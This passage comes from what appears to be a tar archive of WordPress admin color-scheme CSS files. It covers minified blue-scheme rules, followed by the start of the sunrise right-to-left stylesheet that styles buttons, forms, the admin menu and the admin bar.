a.current:before{color:#52accc}.view-switch a:hover:before{color:#e1a948}#adminmenu,#adminmenuback,#adminmenuwrap{background:#52accc}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#e5f8ff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#096484}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#4796b3}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-left-color:#4796b3}#adminmenu .wp-submenu .wp-submenu-head{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#fff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-left-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#096484}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#e1a948}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4796b3}#collapse-button{color:#e5f8ff}#collapse-button:focus,#collapse-button:hover{color:#fff}#wpadminbar{color:#fff;background:#52accc}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#e5f8ff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#fff;background:#4796b3}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#fff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4796b3}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(116.162375,182.0949364754,205.537625)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#e2ecf1}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#e5f8ff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#fff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#fff}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#e5f8ff}#wpadminbar #adminbarsearch:before{color:#e5f8ff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(109.571875,185.228125,212.128125)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#e1a948}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(202.5,152.1,64.8)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(109.571875,185.228125,212.128125);background-color:rgb(109.571875,185.228125,212.128125)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info .username{color:#e2ecf1}.wp-pointer .wp-pointer-content h3{background-color:#096484;border-color:rgb(7.3723404255,81.914893617,108.1276595745)}.wp-pointer .wp-pointer-content h3:before{color:#096484}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#096484}.media-item .bar,.media-progress-bar div{background-color:#096484}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #096484}.attachment.details .check{background-color:#096484;box-shadow:0 0 0 1px #fff,0 0 0 2px #096484}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #096484}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#096484}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#096484}.theme-filter.current,.theme-section.current{border-bottom-color:#52accc}body.more-filters-opened .more-filters{color:#fff;background-color:#52accc}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#096484;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#096484;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}div#wp-responsive-toggle a:before{color:#e5f8ff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#096484}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4796b3}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#e5f8ff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#096484}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#e1a948}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e1a948}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#e1a948}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#e1a948;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e1a948}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e1a948;border-style:solid;box-shadow:0 0 0 1px #e1a948;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e1a948}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e1a948;color:#0073aa} css/colors/sunrise/colors-rtl.css 0000644 00000062257 15233246127 0013160 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #cf4944; } .wp-core-ui .wp-ui-text-primary { color: #cf4944; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #dd823b; } .wp-core-ui .wp-ui-text-highlight { color: #dd823b; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #ccaf0b; } .wp-core-ui .wp-ui-text-notification { color: #ccaf0b; } .wp-core-ui .wp-ui-text-icon { color: hsl(2.1582733813, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #cf4944; } .view-switch a:hover:before { color: #ccaf0b; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #cf4944; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(2.1582733813, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #dd823b; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(190.4217021277, 53.969787234, 48.8782978723); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(240.6, 200.4, 198.9); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(240.6, 200.4, 198.9); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #dd823b; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #ccaf0b; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(190.4217021277, 53.969787234, 48.8782978723); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(2.1582733813, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Bar */ #wpadminbar { color: #fff; background: #cf4944; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(190.4217021277, 53.969787234, 48.8782978723); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(207.3164148936, 107.1221761059, 103.3835851064); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(240.6, 200.4, 198.9); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: rgb(247.3869565217, 227.0108695652, 211.1130434783); } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(2.1582733813, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(2.1582733813, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; 